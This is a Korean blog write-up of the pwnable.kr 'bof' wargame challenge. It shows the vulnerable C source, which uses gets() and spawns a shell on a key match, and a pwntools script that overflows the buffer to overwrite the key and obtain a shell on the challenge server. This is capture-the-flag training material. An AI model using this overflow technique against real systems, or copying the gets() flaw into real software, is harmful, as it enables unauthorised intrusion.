CIDY
[Pwnable.kr] 문제풀이(bof) 본문
// 32-bit, partial relro, canary, nx, pie
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
키값을 맞추면 쉘을 내주는 간단한 구조다. gets로 입력을 받으므로 오버플로우도 충분히 일으킬 수 있다.
그리고 카나리가 걸려있지만 그 전에 쉘이 실행되면 그만이므로 그것도 걱정할 것 없다.
스택은
지역변수
반환주소
매개변수
이렇게 쌓인다.
지역변수부터 시작해서, 내 목적은 매개변수로 전달된 키값을 덮는 것이고, 사실 아래와 같이 코드를 잘 뜯어보면 거리를 정확히 계산해 넣을 수 있겠지만....
굳이 그럴 필요는 없다.
from pwn import *
p = remote("pwnable.kr", 9000)
#p = process("./bof")
pay = p32(0xcafebabe) * 50
p.send(pay)
p.interactive()
그냥 적당히 많이 보내주면 알아서 된다.
'Hack > Pwnable' 카테고리의 다른 글
[Pwnable.tw] 문제풀이(CAOV) (0) | 2022.10.13 |
---|---|
[Pwnable.kr] 문제풀이(unexploitable) (0) | 2022.08.15 |
[Pwnable.kr] 문제풀이(collision) (0) | 2022.08.12 |
[Pwnable.kr] 문제풀이(fd) (0) | 2022.08.11 |
문자열 입출력함수 정리(중) (0) | 2022.08.08 |